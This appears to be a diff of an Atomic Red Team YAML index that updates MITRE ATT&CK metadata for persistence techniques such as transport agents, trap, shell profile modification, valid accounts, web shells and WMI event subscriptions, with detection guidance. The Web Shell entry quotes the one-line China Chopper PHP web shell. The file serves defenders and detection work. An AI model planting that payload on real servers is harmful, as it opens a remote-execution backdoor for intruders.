       name: Transport Agent
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '1.0'
+      modified: '2021-10-18T17:05:44.321Z'
+      created: '2019-12-12T15:08:20.972Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1
+      x_mitre_platforms:
+      - Linux
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - SYSTEM
+      - Administrator
+      - root
       description: "Adversaries may abuse Microsoft transport agents to establish
         persistent access to systems. Microsoft Exchange transport agents can operate
         on email messages passing through the transport pipeline to perform various
@@ -51586,33 +53103,27 @@ persistence:
         the transport agent may only carry out an action like copying in-transit attachments
         and saving them for later exfiltration if the recipient email address matches
         an entry on a list provided by the adversary. "
-      id: attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2020-03-25T22:59:59.124Z'
-      created: '2019-12-12T15:08:20.972Z'
+      x_mitre_contributors:
+      - ESET
+      - Christoffer Strömblad
       x_mitre_detection: Consider monitoring application logs for abnormal behavior
         that may indicate suspicious installation of application software components.
         Consider monitoring file locations associated with the installation of new
         application software components such as paths from which applications typically
         load such extensible components.
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'Application Log: Application Log Content'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - SYSTEM
-      - Administrator
-      - root
-      x_mitre_contributors:
-      - ESET
-      - " Christoffer Strömblad"
-      x_mitre_platforms:
-      - Linux
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1505/002
+        external_id: T1505.002
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help
+        description: Microsoft. (2016, June 1). Transport agents. Retrieved June 24,
+          2019.
+        source_name: Microsoft TransportAgent Jun 2016
+      - url: https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf
+        description: 'Faou, M. (2019, May). Turla LightNeuron: One email away from
+          remote code execution. Retrieved June 24, 2019.'
+        source_name: ESET LightNeuron May 2019
       identifier: T1505.002
     atomic_tests:
     - name: Install MS Exchange Transport Agent Persistence
@@ -51660,51 +53171,51 @@ persistence:
         elevation_required: true
   T1546.005:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.005
-        url: https://attack.mitre.org/techniques/T1546/005
-      - source_name: Trap Manual
-        url: https://ss64.com/bash/trap.html
-        description: ss64. (n.d.). trap. Retrieved May 21, 2019.
-      - source_name: Cyberciti Trap Statements
-        url: https://bash.cyberciti.biz/guide/Trap_statement
-        description: Cyberciti. (2016, March 29). Trap statement. Retrieved May 21,
-          2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Trap
-      description: |-
-        Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>.
-
-        Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)
-      id: attack-pattern--63220765-d418-44de-8fae-694b3912317d
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2020-03-24T16:43:02.273Z'
-      created: '2020-01-24T14:17:43.906Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_detection: Trap commands must be registered for the shell or programs,
-        so they appear in files. Monitoring files for suspicious or overly broad trap
-        commands can narrow down suspicious behavior during an investigation. Monitor
-        for suspicious processes executed through trap interrupts.
+      name: Trap
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
       - 'File: File Creation'
       - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-03-24T16:43:02.273Z'
+      created: '2020-01-24T14:17:43.906Z'
+      x_mitre_permissions_required:
+      - User
+      - Administrator
       x_mitre_platforms:
       - macOS
       - Linux
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--63220765-d418-44de-8fae-694b3912317d
+      description: |-
+        Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>.
+
+        Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      x_mitre_detection: Trap commands must be registered for the shell or programs,
+        so they appear in files. Monitoring files for suspicious or overly broad trap
+        commands can narrow down suspicious behavior during an investigation. Monitor
+        for suspicious processes executed through trap interrupts.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/005
+        external_id: T1546.005
+        source_name: mitre-attack
+      - url: https://ss64.com/bash/trap.html
+        description: ss64. (n.d.). trap. Retrieved May 21, 2019.
+        source_name: Trap Manual
+      - url: https://bash.cyberciti.biz/guide/Trap_statement
+        description: Cyberciti. (2016, March 29). Trap statement. Retrieved May 21,
+          2019.
+        source_name: Cyberciti Trap Statements
       identifier: T1546.005
     atomic_tests:
     - name: Trap
@@ -51723,58 +53234,31 @@ persistence:
         name: sh
   T1546.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.004
-        url: https://attack.mitre.org/techniques/T1546/004
-      - source_name: intezer-kaiji-malware
-        url: https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/
-        description: 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware
-          turning to Golang. Retrieved December 17, 2020.'
-      - source_name: bencane blog bashrc
-        url: https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/
-        description: Benjamin Cane. (2013, September 16). Understanding a little more
-          about /etc/profile and /etc/bashrc. Retrieved February 25, 2021.
-      - source_name: anomali-rocke-tactics
-        url: https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect
-        description: Anomali Threat Research. (2019, October 15). Illicit Cryptomining
-          Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved
-          December 17, 2020.
-      - source_name: Linux manual bash invocation
-        url: https://wiki.archlinux.org/index.php/Bash#Invocation
-        description: ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.
-      - source_name: Tsunami
-        url: https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
-        description: Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware
-          Targets DVRs, Forms Botnet. Retrieved December 17, 2020.
-      - source_name: anomali-linux-rabbit
-        url: https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat
-        description: Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot
-          Malware Out of a Hat. Retrieved December 17, 2020.
-      - source_name: Magento
-        url: https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html
-        description: Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection
-          Vector. Retrieved December 17, 2020.
-      - source_name: ScriptingOSX zsh
-        url: https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/
-        description: 'Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration
-          Files. Retrieved February 25, 2021.'
-      - source_name: PersistentJXA_leopitt
-        url: https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5
-        description: Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell
-          for macOS. Retrieved January 11, 2021.
-      - source_name: code_persistence_zsh
-        url: https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js
-        description: Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js.
-          Retrieved January 11, 2021.
-      - source_name: ESF_filemonitor
-        url: https://objective-see.com/blog/blog_0x48.html
-        description: Patrick Wardle. (2019, September 17). Writing a File Monitor
-          with Apple's Endpoint Security Framework. Retrieved December 17, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Unix Shell Configuration Modification
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'File: File Creation'
+      - 'File: File Modification'
+      x_mitre_version: '2.1'
+      modified: '2021-08-20T18:01:52.120Z'
+      created: '2020-01-24T14:13:45.936Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - Administrator
       description: "Adversaries may establish persistence through executing malicious
         commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s
         execute several configuration scripts at different points throughout the session
@@ -51810,28 +53294,15 @@ persistence:
         and a zsh interactive shell. The login shell configures the system environment
         using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>,
         and <code>/etc/zlogin</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation:
-        code_persistence_zsh) The login shell then configures the user environment
-        with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive
-        shell uses the <code>~/.zshrc</code> to configure the user environment. Upon
-        exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed.
-        For legacy programs, macOS executes <code>/etc/bashrc</code> on startup."
-      id: attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2021-03-08T15:22:54.089Z'
-      created: '2020-01-24T14:13:45.936Z'
+        code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login
+        shell then configures the user environment with <code>~/.zprofile</code> and
+        <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc</code>
+        to configure the user environment. Upon exiting, <code>/etc/zlogout</code>
+        and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes
+        <code>/etc/bashrc</code> on startup."
       x_mitre_contributors:
       - Robert Wilson
       - Tony Lambert, Red Canary
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
       x_mitre_detection: "While users may customize their shell profile files, there
         are only certain types of commands that typically appear in these files. Monitor
         for abnormal commands such as execution of unknown programs, opening network
@@ -51842,14 +53313,59 @@ persistence:
         events monitoring these specific files.(Citation: ESF_filemonitor) \n\nFor
         most Linux and macOS systems, a list of file paths for valid shell options
         available on a system are located in the <code>/etc/shells</code> file.\n"
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'File: File Creation'
-      - 'File: File Modification'
-      x_mitre_platforms:
-      - Linux
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/004
+        external_id: T1546.004
+        source_name: mitre-attack
+      - url: https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/
+        description: 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware
+          turning to Golang. Retrieved December 17, 2020.'
+        source_name: intezer-kaiji-malware
+      - url: https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/
+        description: Benjamin Cane. (2013, September 16). Understanding a little more
+          about /etc/profile and /etc/bashrc. Retrieved February 25, 2021.
+        source_name: bencane blog bashrc
+      - url: https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect
+        description: Anomali Threat Research. (2019, October 15). Illicit Cryptomining
+          Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved
+          December 17, 2020.
+        source_name: anomali-rocke-tactics
+      - url: https://wiki.archlinux.org/index.php/Bash#Invocation
+        description: ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.
+        source_name: Linux manual bash invocation
+      - url: https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
+        description: Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware
+          Targets DVRs, Forms Botnet. Retrieved December 17, 2020.
+        source_name: Tsunami
+      - url: https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat
+        description: Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot
+          Malware Out of a Hat. Retrieved December 17, 2020.
+        source_name: anomali-linux-rabbit
+      - url: https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html
+        description: Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection
+          Vector. Retrieved December 17, 2020.
+        source_name: Magento
+      - url: https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/
+        description: 'Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration
+          Files. Retrieved February 25, 2021.'
+        source_name: ScriptingOSX zsh
+      - url: https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5
+        description: Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell
+          for macOS. Retrieved January 11, 2021.
+        source_name: PersistentJXA_leopitt
+      - url: https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js
+        description: Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js.
+          Retrieved January 11, 2021.
+        source_name: code_persistence_zsh
+      - url: https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a
+        description: Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump.
+          Retrieved August 20, 2021.
+        source_name: macOS MS office sandbox escape
+      - url: https://objective-see.com/blog/blog_0x48.html
+        description: Patrick Wardle. (2019, September 17). Writing a File Monitor
+          with Apple's Endpoint Security Framework. Retrieved December 17, 2020.
+        source_name: ESF_filemonitor
       identifier: T1546.004
     atomic_tests:
     - name: Add command to .bash_profile
@@ -51898,29 +53414,15 @@ persistence:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1078
-        url: https://attack.mitre.org/techniques/T1078
-      - external_id: CAPEC-560
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/560.html
-      - url: https://technet.microsoft.com/en-us/library/dn535501.aspx
-        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
-          Theft. Retrieved June 3, 2016.
-        source_name: TechNet Credential Theft
-      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
-        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
-          June 3, 2016.
-        source_name: TechNet Audit Policy
-      description: |-
-        Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
-
-        The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)
-      name: Valid Accounts
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81
       type: attack-pattern
+      name: Valid Accounts
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Metadata'
+      - 'User Account: User Account Authentication'
+      - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '2.3'
+      modified: '2021-10-19T03:29:48.018Z'
+      created: '2017-05-31T21:31:00.645Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
@@ -51930,12 +53432,7 @@ persistence:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2021-04-12T18:27:52.298Z'
-      created: '2017-05-31T21:31:00.645Z'
-      x_mitre_version: '2.2'
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Logon Session: Logon Session Creation'
+      id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81
       x_mitre_defense_bypassed:
       - Firewall
       - Host intrusion prevention systems
@@ -51943,16 +53440,6 @@ persistence:
       - Application control
       - System access controls
       - Anti-virus
-      x_mitre_detection: |-
-        Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
-
-        Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_effective_permissions:
-      - User
-      - Administrator
       x_mitre_platforms:
       - Windows
       - Azure AD
@@ -51963,34 +53450,93 @@ persistence:
       - macOS
       - Google Workspace
       - Containers
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      description: |-
+        Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
+
+        The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)
+      x_mitre_effective_permissions:
+      - User
+      - Administrator
       x_mitre_contributors:
+      - Jon Sternstein, Stern Security
       - Yossi Weizman, Azure Defender Research Team
       - Netskope
       - Mark Wee
       - Praetorian
-      x_mitre_is_subtechnique: false
+      x_mitre_detection: |-
+        Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
+
+        Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1078
+        external_id: T1078
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/560.html
+        external_id: CAPEC-560
+        source_name: capec
+      - source_name: TechNet Credential Theft
+        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
+          Theft. Retrieved June 3, 2016.
+        url: https://technet.microsoft.com/en-us/library/dn535501.aspx
+      - source_name: TechNet Audit Policy
+        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
+          June 3, 2016.
+        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
     atomic_tests: []
   T1505.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1505.003
-        url: https://attack.mitre.org/techniques/T1505/003
-      - external_id: CAPEC-650
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/650.html
-      - source_name: Lee 2013
-        description: Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down
-          the China Chopper Web Shell - Part I. Retrieved March 27, 2015.
-        url: https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html
-      - url: https://www.us-cert.gov/ncas/alerts/TA15-314A
-        description: US-CERT. (2015, November 13). Compromised Web Servers and Web
-          Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.
-        source_name: US-CERT Alert TA15-314A Web Shells
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Web Shell
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1505/003
+        external_id: T1505.003
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/650.html
+        external_id: CAPEC-650
+        source_name: capec
+      - url: https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html
+        description: Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down
+          the China Chopper Web Shell - Part I. Retrieved March 27, 2015.
+        source_name: Lee 2013
+      - url: https://github.com/nsacyber/Mitigating-Web-Shells
+        description: " NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells.
+          Retrieved July 22, 2021."
+        source_name: NSA Cyber Mitigating Web Shells
+      - source_name: US-CERT Alert TA15-314A Web Shells
+        description: US-CERT. (2015, November 13). Compromised Web Servers and Web
+          Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.
+        url: https://www.us-cert.gov/ncas/alerts/TA15-314A
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      - 'Network Traffic: Network Traffic Content'
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '1.2'
+      modified: '2021-07-26T13:46:47.993Z'
+      x_mitre_system_requirements:
+      - Adversary access to Web server with vulnerability or account to upload and
+        serve the Web shell file.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb
+      x_mitre_platforms:
+      - Linux
+      - Windows
+      - macOS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - SYSTEM
+      - User
       description: "Adversaries may backdoor web servers with web shells to establish
         persistent access to systems. A Web shell is a Web script that is placed on
         an openly accessible Web server to allow an adversary to use the Web server
@@ -51999,45 +53545,24 @@ persistence:
         addition to a server-side script, a Web shell may have a client interface
         program that is used to talk to the Web server (ex: [China Chopper](https://attack.mitre.org/software/S0020)
         Web shell client).(Citation: Lee 2013) "
-      id: attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2020-09-16T19:34:19.752Z'
-      created: '2019-12-13T16:46:18.927Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_system_requirements:
-      - Adversary access to Web server with vulnerability or account to upload and
-        serve the Web shell file.
-      x_mitre_permissions_required:
-      - SYSTEM
-      - User
+      x_mitre_contributors:
+      - Arnim Rupp, Deutsche Lufthansa AG
       x_mitre_detection: "Web shells can be difficult to detect. Unlike other forms
         of persistent remote access, they do not initiate connections. The portion
         of the Web shell that is on the server may be small and innocuous looking.
         The PHP version of the China Chopper Web shell, for example, is the following
         short payload: (Citation: Lee 2013) \n\n<code>&lt;?php @eval($_POST['password']);&gt;</code>\n\nNevertheless,
         detection mechanisms exist. Process monitoring may be used to detect Web servers
-        that perform suspicious actions such as running cmd.exe or accessing files
-        that are not in the Web directory. File monitoring may be used to detect changes
-        to files in the Web directory of a Web server that do not match with updates
-        to the Web server's content and may indicate implantation of a Web shell script.
-        Log authentication attempts to the server and any unusual traffic patterns
-        to or from the server and internal network. (Citation: US-CERT Alert TA15-314A
-        Web Shells) "
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      - 'Network Traffic: Network Traffic Content'
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Application Log: Application Log Content'
-      x_mitre_platforms:
-      - Linux
-      - Windows
-      - macOS
+        that perform suspicious actions such as spawning cmd.exe or accessing files
+        that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)\n\nFile
+        monitoring may be used to detect changes to files in the Web directory of
+        a Web server that do not match with updates to the Web server's content and
+        may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating
+        Web Shells)\n\nLog authentication attempts to the server and any unusual traffic
+        patterns to or from the server and internal network. (Citation: US-CERT Alert
+        TA15-314A Web Shells)"
+      created: '2019-12-13T16:46:18.927Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1505.003
     atomic_tests:
     - name: Web Shell Written to Disk
@@ -52081,83 +53606,83 @@ persistence:
         name: command_prompt
   T1546.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.003
-        url: https://attack.mitre.org/techniques/T1546/003
-      - url: https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf
-        description: 'Mandiant. (2015, February 24). M-Trends 2015: A View from the
-          Front Lines. Retrieved May 18, 2016.'
-        source_name: Mandiant M-Trends 2015
-      - source_name: FireEye WMI SANS 2015
-        url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf
-        description: Devon Kerr. (2015). There's Something About WMI. Retrieved May
-          4, 2020.
-      - url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
-        description: Ballenthin, W., et al. (2015). Windows Management Instrumentation
-          (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.
-        source_name: FireEye WMI 2015
-      - url: https://www.secureworks.com/blog/wmi-persistence
-        description: Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016,
-          March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.
-        source_name: Dell WMI Persistence
-      - source_name: Microsoft MOF May 2018
-        url: https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-
-        description: Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved
-          January 24, 2020.
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
-      - description: French, D. (2018, October 9). Detecting & Removing an Attacker’s
-          WMI Persistence. Retrieved October 11, 2019.
-        url: https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96
-        source_name: Medium Detecting WMI Persistence
-      - source_name: Elastic - Hunting for Persistence Part 1
-        url: https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1
-        description: 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft
-          101: Hunting for persistence using Elastic Security (Part 1). Retrieved
-          December 21, 2020.'
-      - source_name: Microsoft Register-WmiEvent
-        url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1
-        description: Microsoft. (n.d.). Retrieved January 24, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Windows Management Instrumentation Event Subscription
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'Process: Process Creation'
+      - 'WMI: WMI Creation'
+      x_mitre_version: '1.2'
+      modified: '2021-10-16T20:11:13.719Z'
+      created: '2020-01-24T14:07:56.276Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
       description: |-
